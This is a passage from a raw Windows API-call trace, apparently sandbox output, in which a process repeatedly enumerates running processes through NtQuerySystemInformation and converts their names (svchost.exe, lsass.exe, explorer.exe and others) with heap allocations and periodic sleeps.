RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0171.332] RtlFreeAnsiString (AnsiString="svchost.exe") [0171.332] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1de0) returned 1 [0171.332] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0171.332] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0171.332] RtlFreeAnsiString (AnsiString="svchost.exe") [0171.332] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1de0) returned 1 [0171.332] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0171.332] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x8) returned 0x33f0550 [0171.332] RtlFreeAnsiString (AnsiString="dwm.exe") [0171.332] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33f0550) returned 1 [0171.332] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0171.332] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0171.332] RtlFreeAnsiString (AnsiString="svchost.exe") [0171.332] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e10) returned 1 [0171.332] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0171.333] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e88 [0171.333] RtlFreeAnsiString (AnsiString="svchost.exe") [0171.333] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e88) returned 1 [0171.333] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0171.333] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0171.333] RtlFreeAnsiString (AnsiString="svchost.exe") [0171.333] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e58) returned 1 [0171.333] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0171.333] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0171.333] RtlFreeAnsiString (AnsiString="svchost.exe") [0171.333] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e40) returned 1 [0171.333] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0171.333] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0171.333] RtlFreeAnsiString (AnsiString="svchost.exe") [0171.333] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e58) returned 1 [0171.333] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0171.333] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0171.333] RtlFreeAnsiString (AnsiString="svchost.exe") [0171.333] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1df8) returned 1 [0171.333] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0171.333] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0171.333] RtlFreeAnsiString (AnsiString="svchost.exe") [0171.333] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1df8) returned 1 [0171.333] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0171.333] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0171.333] RtlFreeAnsiString (AnsiString="svchost.exe") [0171.333] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e28) returned 1 [0171.333] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0171.334] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0171.334] RtlFreeAnsiString (AnsiString="svchost.exe") [0171.334] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1df8) returned 1 [0171.334] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0171.334] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0171.334] RtlFreeAnsiString (AnsiString="svchost.exe") [0171.334] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e58) returned 1 [0171.334] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0171.334] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0171.334] RtlFreeAnsiString (AnsiString="spoolsv.exe") [0171.334] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e70) returned 1 [0171.334] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0171.334] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0171.334] RtlFreeAnsiString (AnsiString="svchost.exe") [0171.334] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1de0) returned 1 [0171.334] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0171.334] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0171.334] RtlFreeAnsiString (AnsiString="audiodg.exe") [0171.334] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e58) returned 1 [0171.335] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0171.335] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xb) returned 0x33c1e58 [0171.335] RtlFreeAnsiString (AnsiString="sihost.exe") [0171.335] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e58) returned 1 [0171.335] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0171.335] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0171.335] RtlFreeAnsiString (AnsiString="svchost.exe") [0171.335] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e28) returned 1 [0171.335] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0171.335] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x15) returned 0x33d1838 [0171.335] RtlFreeAnsiString (AnsiString="OfficeClickToRun.exe") [0171.335] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33d1838) returned 1 [0171.335] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0171.335] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1a) returned 0x33cbf88 [0171.335] RtlFreeAnsiString (AnsiString="SecurityHealthService.exe") [0171.335] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33cbf88) returned 1 [0171.336] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0171.336] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x13) returned 0x33d1a18 [0171.336] RtlFreeAnsiString (AnsiString="Memory Compression") [0171.336] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33d1a18) returned 1 [0171.336] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0171.336] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xe) returned 0x33c1e70 [0171.336] RtlFreeAnsiString (AnsiString="taskhostw.exe") [0171.336] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e70) returned 1 [0171.336] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0171.336] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0171.336] RtlFreeAnsiString (AnsiString="explorer.exe") [0171.336] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1de0) returned 1 [0171.336] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0171.336] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0171.336] RtlFreeAnsiString (AnsiString="SearchUI.exe") [0171.337] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1de0) returned 1 [0171.337] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0171.337] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1a18 [0171.337] RtlFreeAnsiString (AnsiString="ShellExperienceHost.exe") [0171.337] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33d1a18) returned 1 [0171.337] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0171.337] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x12) returned 0x33d1ab8 [0171.337] RtlFreeAnsiString (AnsiString="RuntimeBroker.exe") [0171.337] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33d1ab8) returned 1 [0171.337] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0171.337] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e88 [0171.337] RtlFreeAnsiString (AnsiString="WmiPrvSE.exe") [0171.337] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e88) returned 1 [0171.337] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0171.337] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0171.338] RtlFreeAnsiString (AnsiString="explorer.exe") [0171.338] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1de0) returned 1 [0171.338] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0171.338] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e70 [0171.338] RtlFreeAnsiString (AnsiString="explorer.exe") [0171.338] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e70) returned 1 [0171.338] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0171.338] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0171.338] RtlFreeAnsiString (AnsiString="vssadmin.exe") [0171.338] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1df8) returned 1 [0171.338] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0171.338] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0171.338] RtlFreeAnsiString (AnsiString="conhost.exe") [0171.338] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1de0) returned 1 [0171.338] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33d60f0) returned 1 [0171.338] Sleep (dwMilliseconds=0x64) [0174.331] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1024) returned 0x33d60f0 [0174.331] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0174.350] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x2048) returned 0x33d60f0 [0174.350] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0174.350] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x306c) returned 0x33d60f0 [0174.350] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0174.351] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x4090) returned 0x33d60f0 [0174.351] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0174.351] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x50b4) returned 0x33d60f0 [0174.351] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0174.351] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x60d8) returned 0x33d60f0 [0174.351] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0174.351] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x70fc) returned 0x33d60f0 [0174.351] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0174.352] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x8120) returned 0x33d60f0 [0174.352] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0174.352] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x9144) returned 0x33d60f0 [0174.352] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0174.352] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xa168) returned 0x33d60f0 [0174.352] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0174.352] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xb18c) returned 0x33d60f0 [0174.352] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0174.353] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xc1b0) returned 0x33d60f0 [0174.353] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0174.353] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xd1d4) returned 0x33d60f0 [0174.353] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0174.353] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xe1f8) returned 0x33d60f0 [0174.353] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0174.354] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xf21c) returned 0x33d60f0 [0174.354] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0174.354] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x10240) returned 0x33d60f0 [0174.354] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0174.354] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x11264) returned 0x33d60f0 [0174.354] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0174.355] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x12288) returned 0x33d60f0 [0174.355] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0174.355] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x132ac) returned 0x33d60f0 [0174.355] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0174.355] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x142d0) returned 0x33d60f0 [0174.355] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0174.356] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x152f4) returned 0x33d60f0 [0174.356] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0174.356] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x16318) returned 0x33d60f0 [0174.356] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0174.357] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x1733c) returned 0x33d60f0 [0174.357] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0174.357] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x18360) returned 0x33d60f0 [0174.357] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0174.358] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x19384) returned 0x33d60f0 [0174.358] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0x0 [0174.358] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0174.358] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x7) returned 0x33f0700 [0174.358] RtlFreeAnsiString (AnsiString="System") [0174.358] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33f0700) returned 1 [0174.358] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0174.358] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x9) returned 0x33c1de0 [0174.359] RtlFreeAnsiString (AnsiString="smss.exe") [0174.359] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1de0) returned 1 [0174.359] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0174.359] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e70 [0174.359] RtlFreeAnsiString (AnsiString="csrss.exe") [0174.359] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e70) returned 1 [0174.359] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0174.359] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e88 [0174.359] RtlFreeAnsiString (AnsiString="wininit.exe") [0174.359] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e88) returned 1 [0174.359] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0174.359] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e58 [0174.359] RtlFreeAnsiString (AnsiString="csrss.exe") [0174.360] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e58) returned 1 [0174.360] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0174.360] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0174.360] RtlFreeAnsiString (AnsiString="winlogon.exe") [0174.360] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1de0) returned 1 [0174.360] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0174.360] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e40 [0174.360] RtlFreeAnsiString (AnsiString="services.exe") [0174.360] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e40) returned 1 [0174.360] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0174.360] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e28 [0174.360] RtlFreeAnsiString (AnsiString="lsass.exe") [0174.361] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e28) returned 1 [0174.361] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0174.361] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1e10 [0174.361] RtlFreeAnsiString (AnsiString="fontdrvhost.exe") [0174.361] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e10) returned 1 [0174.361] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0174.361] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1e88 [0174.361] RtlFreeAnsiString (AnsiString="fontdrvhost.exe") [0174.361] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e88) returned 1 [0174.361] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0174.361] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0174.361] RtlFreeAnsiString (AnsiString="svchost.exe") [0174.361] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e58) returned 1 [0174.361] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0174.361] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0174.361] RtlFreeAnsiString (AnsiString="svchost.exe") [0174.361] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e28) returned 1 [0174.361] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0174.361] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x8) returned 0x33f0550 [0174.361] RtlFreeAnsiString (AnsiString="dwm.exe") [0174.362] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0174.362] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e88 [0174.362] RtlFreeAnsiString (AnsiString="svchost.exe") [0174.362] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e88) returned 1 [0174.362] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0174.362] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0174.362] RtlFreeAnsiString (AnsiString="svchost.exe") [0174.362] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e58) returned 1 [0174.362] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, 